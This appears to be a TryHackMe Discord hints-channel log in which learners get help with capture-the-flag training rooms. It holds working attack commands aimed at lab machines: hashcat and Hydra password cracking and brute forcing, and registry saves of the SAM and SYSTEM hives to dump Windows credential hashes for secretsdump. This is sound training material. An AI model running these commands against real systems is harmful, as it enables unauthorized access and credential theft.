#room-hints | TryHackMe | Page 90

kind blaze May 1, 2021, 1:22 PM

#

Look at the weight of the shell, before you start looking for it. and also try to fuzz for example in common directories, / uploads, / images, / content, even though gobuster does not return them to you

warm rampart May 1, 2021, 7:56 PM

#

hey, i need a little help for OWASP juice shop room

white salmon May 1, 2021, 7:57 PM

#

help w/ wot

warm rampart May 1, 2021, 7:58 PM

#

i'm using burpsuit

#

and in second last question i have to edit a custome header but in burp i cant find any option for that

#

please help

#

@white salmon ?

white salmon May 1, 2021, 8:00 PM

#

what part of it

#

like task

warm rampart May 1, 2021, 8:01 PM

#

Perform a persistent XSS! this one

white salmon May 1, 2021, 8:02 PM

#

so you cant find the true-client-ip header with ur request?

#

you've went to last login ip and than caught the logout request with burp?

warm rampart May 1, 2021, 8:05 PM

#

#

i'm not able to find 'header' tab so how can i add a new header value

#

@white salmon

white salmon May 1, 2021, 8:08 PM

#

ok lemme c something rl quick

warm rampart May 1, 2021, 8:08 PM

#

ok

white salmon May 1, 2021, 8:09 PM

#

sec im updating ubrp

#

burp

warm rampart May 1, 2021, 8:10 PM

#

ok

white salmon May 1, 2021, 8:11 PM

#

you have inspector w/ ur burp ?

#

think thats where u can add a new header value

warm rampart May 1, 2021, 8:13 PM

#

where i can find inspector option

white salmon May 1, 2021, 8:14 PM

#

under site map

warm rampart May 1, 2021, 8:15 PM

#

ok let me see thank you

white salmon May 1, 2021, 8:19 PM

#

but shouldnt you just be able to intercept the request and change it in the intercept window

#

but nah u can see inspector in intercept window to

#

its on the right side

#

u can add to the request headers from here

warm rampart May 1, 2021, 8:27 PM

#

ok thanks for the help

white salmon May 1, 2021, 8:27 PM

#

np

dreamy skiff May 1, 2021, 9:50 PM

#

Hello I'm having some problems with crack the hash room.

#

Part2 4: hashcat.exe -m 1800 $6$rounds=5$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02. rockyou.txt

#

But the result is exhausted :/

worn otter May 1, 2021, 9:53 PM

#

I think that's invalid format. I think you need to pass in a flag for the wordlist (-w maybe? Not sure). but also, the $ in the hash is probably breaking things- it's trying to insert variables when it sees that.

#

Either wrap them in quotes (" $hash stuff "), or put it into a file and pass that file in to hashcat

silent narwhal May 1, 2021, 9:54 PM

#

what is .rockyou.txt in the end?

#

i think its the wrong combination

worn otter May 1, 2021, 9:54 PM

#

that's the wordlist to try to use to crack it, but I'm pretty sure it requires an extra flag first

silent narwhal May 1, 2021, 9:55 PM

#

yes.

#

-w /usr/share/wordlists/rockyou.txt

dreamy skiff May 1, 2021, 9:59 PM

#

Ok I'll save the hach in a text file

#

https://imgur.com/a/LJyzgMV

silent narwhal May 1, 2021, 10:13 PM

#

can you send it like screenshot because imgur is blocked in my country

white salmon May 1, 2021, 10:13 PM

#

yo rz

#

do

#

!docs verify

proud scarabBOT May 1, 2021, 10:13 PM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

white salmon May 1, 2021, 10:13 PM

#

that

dreamy skiff May 1, 2021, 10:13 PM

#

!docs verify

proud scarabBOT May 1, 2021, 10:13 PM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

white salmon May 1, 2021, 10:13 PM

#

no press the link

silent narwhal May 1, 2021, 10:13 PM

#

click the link in embed

tight fulcrum May 1, 2021, 10:13 PM

#

click on the link and follow the instruction

dreamy skiff May 1, 2021, 10:15 PM

#

Done

#

#

hashcat.exe -m 1800 hashhash.txt -w rockyou.txt

#

And hashash.txt is

white salmon May 1, 2021, 10:16 PM

#

does it not say answer above that

dreamy skiff May 1, 2021, 10:16 PM

#

📎 hashhash.txt

white salmon May 1, 2021, 10:17 PM

#

is rockyou.txt in your current directory

dreamy skiff May 1, 2021, 10:17 PM

#

yes

#

The room said to use rockyout.txt

#

white salmon May 1, 2021, 10:17 PM

#

i usually use it from /usr/share/wordlists/rockyou.txt

dreamy skiff May 1, 2021, 10:18 PM

#

Yeah, i'm using hashcat on windows, so I have it in the same folder as hashcat.exe

white salmon May 1, 2021, 10:19 PM

#

hmm

#

just use $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

#

as the hash

dreamy skiff May 1, 2021, 10:24 PM

#

Ok, I'll try that. I was using rounds=5 because that number appeared in the room. Let's see if this works. Thanks

dapper sentinel May 2, 2021, 1:55 AM

#

I guess that should work

bold lichen May 2, 2021, 5:17 AM

#

so i am in room nmap from networks and i wanted to ask how do u check the dependencies of a script ?

slender dawn May 2, 2021, 7:11 AM

#

bold lichen so i am in room nmap from networks and i wanted to ask how do u check the depend...

open the script in a text editor

#

there will be a dependencies field

bold lichen May 2, 2021, 9:02 AM

#

slender dawn open the script in a text editor

oh thanks

green minnowBOT May 2, 2021, 9:02 AM

#

Gave +1 Rep to @slender dawn

bold lichen May 2, 2021, 9:25 AM

#

@slender dawn so i did nano the file

#

and

#

"stdnse" local string = require "string" local table = require "table" local os
= require "os" a, will blank out their name (and only send their domain).local
datetime = require "datetime"
Other systems (like embedded printers) will simply leave out the infor
description = [[
Attempts to determine the operating system, computer name, domain, workgroup, and curr>
time over the SMB protocol (ports 445 or 139).
This is done by starting a session with the anonymous
account (or with a proper user account, if one is given; it likely doesn't make
a difference); in response to a session starting, the server will send back all this
information.

The following fields may be included in the output, depending on the  
circumstances (e.g. the workgroup name is mutually exclusive with domain and forest
names) and the information available:
* OS
* Computer name
* Domain name
* Forest name
* FQDN
* NetBIOS computer name
* NetBIOS domain name
* Workgroup
* System time

Some systems, like Samba, will blank out their name (and only send their domain).
Other systems (like embedded printers) will simply leave out the information. Other
systems will blank out various pieces (some will send back 0 for the current
time, for example).

If this script is used in conjunction with version detection it can augment the
standard nmap version detection information with data that this script has discovered.

Retrieving the name and operating system of a server is a vital step in targeting
an attack against it, and this script makes that retrieval easy. Additionally, if
a penetration tester is choosing between multiple targets, the time can help identify
servers that are being poorly maintained (for more information/random thoughts on
using the time, see http://www.skullsecurity.org/blog/?p=76.

#

i got this but i dont see the dependencies file

gusty turtle May 2, 2021, 9:33 AM

#

bold lichen ```ocal nmap = require "nmap" local smb = require "smb" local stdnse = require "...

Dependencies are mentioned in the file, grep can be useful.

bold lichen May 2, 2021, 9:46 AM

#

ya found it thanks

bold lichen May 2, 2021, 9:46 AM

#

gusty turtle Dependencies are mentioned in the file, grep can be useful.

thanks

slender dawn May 2, 2021, 9:58 AM

#

yeah just grep it

#

it is present like this

stuck fractal May 2, 2021, 10:14 AM

#

That seems like it's just spoiling the answer so I'm gonna delete that

boreal canopy May 2, 2021, 12:08 PM

#

hello guys

#

the upload vulenrabilities room target machine keeps bugging on me

#

for some reason i cant access the websites provided by the room

#

i pinged the machine ip and it was connected

#

i checked my openvpn and it connected

#

so i thought maybe my browser may be bugging

#

changed it but nothing happened

#

has anyone faced any kind of similar issue?

stuck fractal May 2, 2021, 12:11 PM

#

You can't access it by IP, please describe what you're doing and what's not working.

autumn yew May 2, 2021, 12:11 PM

#

did u modify ur /etc/hosts file as indicated at the start of the room?

boreal canopy May 2, 2021, 12:12 PM

#

so the room acquires you to get flags,right. by bypassing uploads

#

i did the first flag on the first website given by the room

#

i solved it but it was super super slow

#

and the website kept lagging

#

on the other rooms tho

#

i cant even open em

stuck fractal May 2, 2021, 12:14 PM

#

Sounds like a VPN issue, or at least it usually is.

#

!vpnscript

proud scarabBOT May 2, 2021, 12:14 PM

#

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

boreal canopy May 2, 2021, 12:14 PM

#

i double checked it

#

everything is the way it should be

stuck fractal May 2, 2021, 12:15 PM

#

Please run the script

#

You need to be willing to troubleshoot and work with us, otherwise you don't stand a chance of getting it fixed.

boreal canopy May 2, 2021, 12:23 PM

#

i ran it

#

like i said

#

everything is in place

#

any other suggestions?

bold lichen May 2, 2021, 2:19 PM

#

Guys how do u do a icmp ping scan

#

is it ping icmp ?

#

or i want to know using nmap

silver otter May 2, 2021, 2:19 PM

#

well, as this is hints channel

#

did you read the output of nmap -h?

bold lichen May 2, 2021, 2:20 PM

#

no sorry thx,

silver otter May 2, 2021, 2:20 PM

#

and a ping, is an icmp request yes

#

https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol

Internet Control Message Protocol

The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address, for example, an error is indicated when a requested service is not ava...

bold lichen May 2, 2021, 2:22 PM

#

silver otter and a ping, is an icmp request yes

so how do i add spoiler thing

#

on discord

silver otter May 2, 2021, 2:22 PM

#

I don't think you'd be spoiling it for many people if you talk about this 🙂

#

https://support.discord.com/hc/en-us/articles/360022320632-Spoiler-Tags-

bold lichen May 2, 2021, 2:23 PM

#

okay so i did nmap -sn and machine ip but my host is up

#

and the answer is coming no

silver otter May 2, 2021, 2:23 PM

#

|| test ||

#

ok yeah its || to do spoilers, type in the pipes

bold lichen May 2, 2021, 2:24 PM

#

okay got it

silver otter May 2, 2021, 2:24 PM

#

ok what room are you doing

#

and what exactly is the question

bold lichen May 2, 2021, 2:25 PM

#

| so i am doing nmap room and its practical section 1st question , which says does the machine target respond and when i do the nmap scan to check if it does its , it actually does but the answer is No|

#

what why dint it go inside a spoiler thing

silver otter May 2, 2021, 2:26 PM

#

did you use double pipes on both sides?

#

what task is this for?

bold lichen May 2, 2021, 2:27 PM

#

yes

bold lichen May 2, 2021, 2:27 PM

#

silver otter what task is this for?

so nmap task 14 question 1

silver otter May 2, 2021, 2:27 PM

#

oh I see

#

so when you type "ping (hostip)

#

you get a response?

bold lichen May 2, 2021, 2:27 PM

#

its host is up but answer was n

#

i used nmap -sn machine ip it responded

silver otter May 2, 2021, 2:28 PM

#

does it respond to ping however?

bold lichen May 2, 2021, 2:28 PM

#

no it does not respond to ping

silver otter May 2, 2021, 2:28 PM

#

so whats the answer to the actual question

bold lichen May 2, 2021, 2:28 PM

#

N

#

but this is a nmap section so isnt it that i have to use nmap commands to find the ans

silver otter May 2, 2021, 2:29 PM

#

well, if you note the next question it tells you exactly what to do right

#

the first question had (ping) in brackets

#

it didn't say "perform a ping scan" specifically

#

I can see why it might be a bit misleading however

bold lichen May 2, 2021, 2:31 PM

#

silver otter I can see why it might be a bit misleading however

ya i understood that i had to use ping i did that but since it was not from the same library i wanted to check it out from nmap

#

but okay fair enough

silver otter May 2, 2021, 2:32 PM

#

you can read further on what the nmap Ping Scan does but its not the same as a standard ping (ICPM Echo request)

bold lichen May 2, 2021, 2:34 PM

#

silver otter you can read further on what the nmap Ping Scan does but its not the same as a s...

cool thanks alot

green minnowBOT May 2, 2021, 2:34 PM

#

Gave +1 Rep to @silver otter

lucid perch May 3, 2021, 1:03 AM

#

Hello, I'm doing the HackPark room, and when I use Hydra, it ends up providing about 15 passwords that are found, but none of them work. Looking at some of the write ups I can see that I'm using the same syntax for hydra to get the cracked password, but it instantly gives me the 15 or so passwords each time now. Any ideas? Here is my hydra command

||hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.56.228 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=85ix11j%2BxrIRQvDXJxtbFlSllwg%2FCZVpgnJY789qA4Vnf7Ib7upzljVVyFeE5GmewVamjOy69epZ1GAii9ecq2P7iVSrbaASoDmBh71qza5%2FdvYyx7n784Co0ZlqPSajsFYBlo1ev8GP4ypj64IRHgxFo19Z0KLaH3M%2FtsHzncvFQa6IFkyM1ENQ3DDK38hmb%2Fi%2BMOwP5lcS%2BEc%2Fn9xPJi2Nb4Md3Fbxg53PY1K2EnX6JkfBQGCvgNsGv3vogXobbBYWRWLo0qCjxBVTmhXNX4gDsVsJxKWaGbEJfJrZS9h2eEo%2Fa0VHXhGkI9Q1zvGNPoYz01yRHL4fsEkCm%2FMvVWJ4yJn14pl%2FrOunbBKCHCcjOdBO&__EVENTVALIDATION=Y2aOZI3SznMjV2AV9APTR%2F4TK9WJxbF2x114jb7iaY8tDgDDAYNn1tIG%2BC1zLAYR4sJuoI3CYymYDO9PPXFyjMNlLElWWmvGuyBdbo0lQ7qY67iGahiUL%2BWiAzXe099KfdT%2FD78woJ8NoxnjWr6NKJXNWADf8b5BRjPaSb%2FC7Sa6pOyX&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Fail Login"||

digital iris May 3, 2021, 1:06 AM

#

lucid perch Hello, I'm doing the HackPark room, and when I use Hydra, it ends up providing a...

it's really long to see properly, but are you sure the last part is right?

#

by last part i mean the error message you are giving hydra

white salmon May 3, 2021, 1:07 AM

#

ya error mesage is wrong

#

message

lucid perch May 3, 2021, 1:07 AM

#

digital iris it's really long to see properly, but are you sure the last part is right?

Yeah it's pretty much identical to the walk through. One thing I noticed though is that it seems like Hydra keeps a cache file of the overall process of the crack? I actually already cracked this in the afternoon. So is it skipping over the correctly answer because it's somewhere in the cached file? I'm trying to figure out how to see that file now.

digital iris May 3, 2021, 1:08 AM

#

lucid perch Yeah it's pretty much identical to the walk through. One thing I noticed though ...

i'm not sure, but i'm looking at the video that was made for this room, and the failed login message is different to what you have provided

lucid perch May 3, 2021, 1:08 AM

#

Oh Login Failed instead of Fail Login?

digital iris May 3, 2021, 1:08 AM

#

YEP!

#

OOPS CAPS

#

oops

#

looooool

white salmon May 3, 2021, 1:08 AM

#

nice

lucid perch May 3, 2021, 1:08 AM

#

Hmm I thought that could be any message, let me give that a shot

white salmon May 3, 2021, 1:09 AM

#

ya that'll work

digital iris May 3, 2021, 1:09 AM

#

nah so that last bit is looking for anything in the html that is unique when you provide wrong credentials

lucid perch May 3, 2021, 1:09 AM

#

ohhhh ok that makes sense

#

And sure enough it's taking longer now that I've updated that. I'm guessing it'll find the right password now, thanks for the help!

digital iris May 3, 2021, 1:11 AM

#

no problem :)

#

and just to provide more insight into your previous command,the reason it was showing every password as correct is because "Fail Login" never appeared in any of the responses, so it assumed they were all valid

lucid perch May 3, 2021, 1:22 AM

#

digital iris and just to provide more insight into your previous command,the reason it was sh...

Ahh thanks for helping me connect the dots!

green minnowBOT May 3, 2021, 1:22 AM

#

Gave +1 Rep to @digital iris

obsidian granite May 3, 2021, 7:38 AM

#

I am getting started with my first AD machine. Going after Attacktive Directory, but I am stuck on which tool to use for enumerating NetBIOS. Any ideas?

obsidian granite May 3, 2021, 7:57 AM

#

Figured it out because I was being dumb...lol😒

frigid ore May 3, 2021, 8:31 AM

#

use mysql;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-A

use mysql' at line 1
mysql>
how can i solve this problem ?

stuck fractal May 3, 2021, 8:54 AM

#

Try it again. It was counting -A from a previous line as part of the command.

charred surge May 3, 2021, 11:01 AM

#

I've completed the Intro To Python room, but I don't understand the difference in the problem I had.
I completed the challenge by changing from a while loop to a for loop, but don't understand why the while loop affected it.

Different Implementations:

    DecodedStep = base64.b16decode(DecodedFlag)
    DecodedFlag = DecodedStep```
(Success)


```i = 0
while i < 5:
    DecodedStep = base64.b16decode(DecodedFlag)
    DecodedFlag = DecodedStep
    i+=1```
(Failed)

Error:
```Non-base16 digit found
  File "/home/coreyo/Downloads/pyproject/Intro to python.py", line 13, in <module>
    DecodedStep = base64.b16decode(DecodedFlag)```

tight fulcrum May 3, 2021, 11:03 AM

#

charred surge I've completed the Intro To Python room, but I don't understand the difference i...

i don't see that you're incrementing i during while. Means i will always be < 5

charred surge May 3, 2021, 11:03 AM

#

Ahh I had I forgot to add it back in

tight fulcrum May 3, 2021, 11:03 AM

#

btw it's enough if you write range(5) instead of range(0,5) blobfingerguns

#

it will always start with 0

charred surge May 3, 2021, 11:04 AM

#

Ahh nice, I was just following from documentation I read

tight fulcrum May 3, 2021, 11:04 AM

#

problem solved blobfingerguns well done

charred surge May 3, 2021, 11:06 AM

#

@tight fulcrum No you're right lol, maybe I had something else wrong when iterating while beforehand

#

Thanks mate!

civic jungle May 3, 2021, 12:30 PM

#

Quick question: when I type in a shell for example bash or python, if the executable with the given name is present in the current directory, shouldn't it directly run it? (Without trying to find it in PATH).

I can directly tell it to look into current directory by appending ./, but shouldn't directly bash or python also try to lookup in current directory first, and then try to find an executable in PATH?

stuck fractal May 3, 2021, 12:53 PM

#

No

ripe hedge May 3, 2021, 1:11 PM

#

it'll look in the PATH only. ./ specifies the current directory

#

unlike Windows

stuck fractal May 3, 2021, 1:45 PM

#

Powershell won't look in the current dir either

ripe hedge May 3, 2021, 8:30 PM

#

point

#

CMD will

#

but noone should be using cmd

white salmon May 3, 2021, 11:36 PM

#

adventofcyber last day, question hint said root.txt was in /root but its not? is it possible someone could have deleted it?

stuck fractal May 3, 2021, 11:37 PM

#

You don't share machines with other people on THM, outside of Networks or koth.

white salmon May 3, 2021, 11:38 PM

#

hmm where could the root.txt be then possibly?

#

nvm its in /mnt

lucid perch May 4, 2021, 12:35 AM

#

is there a way to set multiple options in msfconsole at the same time? for example, say I want to set lhost = tun0 and lport = 4445. i'm trying to do something like set lhost tun0; set lport 4445, but then that just ends up setting lhost to tun0 set lport 4445, just wondering if I can set multiple at once to save time

worn otter May 4, 2021, 12:47 AM

#

I'm not sure. But you can globally set options, lhost is a good one for that

brave vale May 4, 2021, 10:01 AM

#

in Year of the Fox ||the passwords are dynamic||, aren't they?

ripe hedge May 4, 2021, 12:39 PM

#

yes

brave vale May 4, 2021, 12:59 PM

#

ripe hedge yes

that's not fair u.u

ripe hedge May 4, 2021, 12:59 PM

#

go yell at @inland onyx then, he feeds off the tears of the suffering

brave vale May 4, 2021, 1:00 PM

#

haha well said

sudden shoal May 4, 2021, 2:39 PM

#

I've been stuck on the eternal blue attack! I literally cannot get a meterpreter session started for the life of me, im specifically at the "sometimes it works sometimes it doesnt " part arggg heres a screenshot thanks in advance

Screen_Shot_2021-05-04_at_7.35.52_AM.png

fallow brook May 4, 2021, 3:01 PM

#

i have transfered the sam and system files from windows to linux( i m doing blueprint room)

#

how can i get their hashes now

#

i tried samdump2 but i m getting segmentation fault

#

crackmapexec is also not working

silver otter May 4, 2021, 3:04 PM

#

I think secretsdump.py

#

from impacket

fallow brook May 4, 2021, 3:04 PM

#

silver otter I think secretsdump.py

oh ok

#

thanks man

#

i will try it

silver otter May 4, 2021, 3:05 PM

#

np, it should be in kali by default

#

locate secretsdump.py

fallow brook May 4, 2021, 3:08 PM

#

#

getting an error

#

i have both sam and system in this folder

stuck fractal May 4, 2021, 3:10 PM

#

Is this for Wreath?

fallow brook May 4, 2021, 3:11 PM

#

stuck fractal Is this for Wreath?

no i m doing blueprint room

stuck fractal May 4, 2021, 3:11 PM

#

Ah, wreath has a nice section on it

fallow brook May 4, 2021, 3:12 PM

#

no i mean i tried to use mimikatz on blueprint

#

but couldnt find a x86 mimikatz

#

i m not using metasploit

#

reg save hklm\sam c:\sam
reg save hklm\system c:\system

#

and that's how i dumped them

#

and then transfered both sam and system to kali

#

and then tried samdump2 but it is not working

#

i m getting segmentation fault

silver otter May 4, 2021, 3:28 PM

#

try putting LOCAL at the end of the secretds dump command

#

its after a "target" as it says

bold lichen May 4, 2021, 3:34 PM

#

hello so i am doing "network services " room and i am stuck at task 4 3rd question does the share allow anonymous access what am i suppose to connect to ? and the attack box has no secreat file

bold lichen May 4, 2021, 3:41 PM

#

bold lichen hello so i am doing "network services " room and i am stuck at task 4 3rd questi...

anyone please

stuck fractal May 4, 2021, 3:43 PM

#

bold lichen hello so i am doing "network services " room and i am stuck at task 4 3rd questi...

You need to deploy the correct target machine

bold lichen May 4, 2021, 3:44 PM

#

stuck fractal You need to deploy the correct target machine

Ya so i did deploy the target machine but what is the file ?

stuck fractal May 4, 2021, 3:44 PM

#

What file?

bold lichen May 4, 2021, 3:44 PM

#

smbclient//ip//share

#

the share ?what is that

stuck fractal May 4, 2021, 3:44 PM

#

You are missing a space there

#

The room tells you what you can use to list shares.

bold lichen May 4, 2021, 3:44 PM

#

oh okay

bold lichen May 4, 2021, 3:45 PM

#

stuck fractal You are missing a space there

let me try ,thanks

bold lichen May 4, 2021, 3:48 PM

#

stuck fractal You are missing a space there

hey so i am doning is smbclient//ipofthemachine//profiles -U Anonymous -p 80 is anything wrong

#

?

stuck fractal May 4, 2021, 3:48 PM

#

Yes

#

You are missing a space.

#

If it's not working, clearly something is wrong.

#

I don't know why you're specifying port 80 either, there's no reason to do that

bold lichen May 4, 2021, 3:50 PM

#

stuck fractal You are missing a space.

spaces where ?

stuck fractal May 4, 2021, 3:50 PM

#

smbclient is the command.

#

//ip/share is the first argument to that command.

bold lichen May 4, 2021, 3:50 PM

#

stuck fractal I don't know why you're specifying port 80 either, there's no reason to do that

because last question asked to input default port

stuck fractal May 4, 2021, 3:50 PM

#

bold lichen because last question asked to input default port

So where the heck did you get 80 from?

bold lichen May 4, 2021, 3:51 PM

#

so will it be smbclient //ip/share?

stuck fractal May 4, 2021, 3:51 PM

#

That's part of it

bold lichen May 4, 2021, 3:51 PM

#

stuck fractal So where the heck did you get 80 from?

isnt 80 the default port

stuck fractal May 4, 2021, 3:51 PM

#

No

#

80 is the default port for HTTP.

#

You're not doing HTTP

#

You also do not need to specify the port if it is the default

bold lichen May 4, 2021, 3:51 PM

#

ya got it

bold lichen May 4, 2021, 3:52 PM

#

stuck fractal No

thanks alot my 80 port was the issue

green minnowBOT May 4, 2021, 3:52 PM

#

Gave +1 Rep to @stuck fractal

bold lichen May 4, 2021, 3:52 PM

#

thanks alot

stuck fractal May 4, 2021, 3:52 PM

#

It was more than that

bold lichen May 4, 2021, 3:52 PM

#

stuck fractal It was more than that

yep and its asking for a password was it meant to?

stuck fractal May 4, 2021, 3:52 PM

#

Screenshots

bold lichen May 4, 2021, 3:53 PM

#

ya one sec

stuck fractal May 4, 2021, 3:53 PM

#

If you want help, we need to know what you're doing and what you're seeing

bold lichen May 4, 2021, 3:54 PM

#

stuck fractal If you want help, we need to know what you're doing and what you're seeing

ya no issue

#

here

stuck fractal May 4, 2021, 3:54 PM

#

Press enter

bold lichen May 4, 2021, 3:55 PM

#

okay

bold lichen May 4, 2021, 3:55 PM

#

stuck fractal Press enter

connection discounted

stuck fractal May 4, 2021, 3:55 PM

#

Screenshot

bold lichen May 4, 2021, 3:56 PM

#

@stuck fractal

silk dagger May 4, 2021, 3:56 PM

#

I'm a bit confused on the last question for task 8 in the SQLi-Labs room. I've entered in every flag listed in the table, followed the same format for the 1st question in that section, but I am still a bit stumped

#

Regarding how to list all databases on the website listed in the previous question

bold lichen May 4, 2021, 3:58 PM

#

stuck fractal Screenshot

got it , it was space and enter

stuck fractal May 4, 2021, 3:58 PM

#

Shouldn't be

#

It will be the fact you retried

bold lichen May 4, 2021, 3:58 PM

#

stuck fractal Shouldn't be

i dint get u ?

stuck fractal May 4, 2021, 3:58 PM

#

You shouldn't need to enter a space

#

It will just be because you tried again

bold lichen May 4, 2021, 3:58 PM

#

see

bold lichen May 4, 2021, 3:59 PM

#

stuck fractal It will just be because you tried again

oh okay

stuck fractal May 4, 2021, 3:59 PM

#

I'm not arguing with the fact it worked

#

I'm saying that was not the password, there was no password

bold lichen May 4, 2021, 3:59 PM

#

stuck fractal I'm saying that ` ` was not the password, there was no password

oh okay, thanks alot for the help.

green minnowBOT May 4, 2021, 3:59 PM

#

Gave +1 Rep to @stuck fractal

silk dagger May 4, 2021, 4:02 PM

#

silk dagger I'm a bit confused on the last question for task 8 in the SQLi-Labs room. I've e...

Nevermind on this, the answer wasn't in the table that was referenced in the question

#

still a great room though!

bold lichen May 4, 2021, 4:19 PM

#

hey guys , how do i enter the profile ? i am doing cd but doesn't work

stuck fractal May 4, 2021, 4:20 PM

#

That is not a directory, it is a file

#

It is also not the file you're interested in

bold lichen May 4, 2021, 4:21 PM

#

but the question does ask me whoes profile is there

bold lichen May 4, 2021, 4:22 PM

#

stuck fractal That is not a directory, it is a file

Is smb commands different compare to linux

stuck fractal May 4, 2021, 4:22 PM

#

Yes

stuck fractal May 4, 2021, 4:22 PM

#

bold lichen but the question does ask me whoes profile is there

Feel free to ignore my advice, but I've completed the room 3+ times

bold lichen May 4, 2021, 4:23 PM

#

stuck fractal Feel free to ignore my advice, but I've completed the room 3+ times

no no i dint mean to sorry

stuck fractal May 4, 2021, 4:23 PM

#

I recommend googling "How to use smbclient"

bold lichen May 4, 2021, 4:25 PM

#

stuck fractal I recommend googling "How to use smbclient"

thanks alot found my answer , i never knew smb had a different command

green minnowBOT May 4, 2021, 4:25 PM

#

Gave +1 Rep to @stuck fractal

bold lichen May 4, 2021, 4:43 PM

#

hey so i need small help with task 4 from "network service" stuck in the last problem , i download the id_rsa onto my local host and when i ssh "first question the ip address is machine address rite ?" second what am i suppose to do i did ssh to cactus@machine ip it ask for a password

glacial gust May 4, 2021, 4:44 PM

#

you need to do "-i id_rsa" in the command to use the cert

bold lichen May 4, 2021, 4:46 PM

#

glacial gust you need to do "-i id_rsa" in the command to use the cert

whats that basically ? if u dont midn

glacial gust May 4, 2021, 4:46 PM

#

it tells ssh to reference the id_rsa key for login, otherwise you would be requested for user login

bold lichen May 4, 2021, 4:47 PM

#

oh okay

#

but isnt it encrypted ?

stuck fractal May 4, 2021, 4:48 PM

#

Not neccesarily

bold lichen May 4, 2021, 4:48 PM

#

okay

bold lichen May 4, 2021, 4:49 PM

#

glacial gust it tells ssh to reference the id_rsa key for login, otherwise you would be reque...

thanks

green minnowBOT May 4, 2021, 4:49 PM

#

Gave +1 Rep to @glacial gust

glacial gust May 4, 2021, 4:49 PM

#

np

bold lichen May 4, 2021, 4:49 PM

#

glacial gust you need to do "-i id_rsa" in the command to use the cert

how do u know if u have to use this command ?

stuck fractal May 4, 2021, 4:49 PM

#

glacial gust you need to do "-i id_rsa" in the command to use the cert

It's a key, not a cert

#

Seems pedantic but it's important to be when you're doing crypto

glacial gust May 4, 2021, 4:51 PM

#

bold lichen how do u know if u have to use this command ?

you can only use if you have an rsa key for the user

bold lichen May 4, 2021, 4:51 PM

#

glacial gust you need to do "-i id_rsa" in the command to use the cert

soo ssh usernam@ip -i id_key rite ?

glacial gust May 4, 2021, 4:51 PM

#

yup

bold lichen May 4, 2021, 4:52 PM

#

glacial gust you can only use if you have an rsa key for the user

oh nice is it alright to ask like this and solve ?

bold lichen May 4, 2021, 4:54 PM

#

stuck fractal Seems pedantic but it's important to be when you're doing crypto

so its a encrypted key rite ?

stuck fractal May 4, 2021, 4:54 PM

#

If it asks you for a passphrase then yes

#

This key is not encrypted

#

It's a cryptographic key, but it's not encrypted

bold lichen May 4, 2021, 4:55 PM

#

oh okay

bold lichen May 4, 2021, 4:56 PM

#

stuck fractal If it asks you for a passphrase then yes

i am getting this anyclue

stuck fractal May 4, 2021, 4:56 PM

#

What does it say?

#

In very very big letters?

bold lichen May 4, 2021, 4:57 PM

#

unprotected private key

stuck fractal May 4, 2021, 4:57 PM

#

Did you google the error?

bold lichen May 4, 2021, 4:57 PM

#

stuck fractal Did you google the error?

no i will do it now

stuck fractal May 4, 2021, 4:57 PM

#

Please do that before asking here

bold lichen May 4, 2021, 4:57 PM

#

okay sorry

#

thanks got it

bold lichen May 4, 2021, 4:59 PM

#

stuck fractal Please do that before asking here

Done thanks alot

green minnowBOT May 4, 2021, 4:59 PM

#

Gave +1 Rep to @stuck fractal

bold lichen May 4, 2021, 4:59 PM

#

glacial gust yup

thanks you too

gusty kite May 4, 2021, 6:45 PM

#

no support channel for the latest room ?

silver otter May 4, 2021, 6:46 PM

#

doesn't look created yet, strangely enough it doesn't even show up in my "new rooms" feed

#

gusty kite May 4, 2021, 6:57 PM

#

strange. It was shown here in anouncement

#

but it does seem like it is related to some udemy training so might be the reason

astral smelt May 4, 2021, 6:58 PM

#

It’s been out for a bit but it’s dedicated to nahams udemy course

#

Yea, naham has a support channel for it in his discord

gusty kite May 4, 2021, 6:58 PM

#

ok thats why

#

is it ok to try to room or?

astral smelt May 4, 2021, 7:00 PM

#

Yea but it might be hard to follow if you don’t have the course and the course is a bit costly but makes sense why it’s that price

gusty kite May 4, 2021, 7:14 PM

#

interesting.

#

@steady elm is it nahamsec intro to bughunting?

#

I have free udemy accees so I might as well join that course 🙂

dry briar May 4, 2021, 8:08 PM

#

"test" already existed when i started this machine and im not getting the same output when following along with the video... what am i doing wrong sadcooctus

stuck fractal May 4, 2021, 8:15 PM

#

Please show us what you're doing and what you are getting then, if it's not the same as the video

dry briar May 4, 2021, 8:24 PM

#

stuck fractal Please show us what you're doing and what you are getting then, if it's not the ...

first thing i did was ls, test is already there, you can also see where i attempted to mkdir test anyway

stuck fractal May 4, 2021, 8:24 PM

#

Where's the problem?

dry briar May 4, 2021, 8:28 PM

#

that i cant mkdir.

#

it already exists

stuck fractal May 4, 2021, 8:28 PM

#

The directory already exists, that's fine

#

It's a bug with the room, but it does not stop you from continuing

#

You're getting exactly the same thing as the video.

dry briar May 4, 2021, 8:29 PM

#

ok, so just step over mkdir test and proceed?

#

where did we learn this, or am i supposed to have figured all this out myself?

screenshot-tryhackme.com-2021.05.04-15_30_011.png

stuck fractal May 4, 2021, 8:35 PM

#

You were taught the find command

#

You can also google for "Linux hide errors from command"

dry briar May 4, 2021, 8:37 PM

#

??

screenshot-fc05d885-7d61-4730-b9ab-cbbac13e6950-2021.05.04-15_35_17.png

stuck fractal May 4, 2021, 8:37 PM

#

Yeah

#

That last bit is hiding errors

dry briar May 4, 2021, 8:39 PM

#

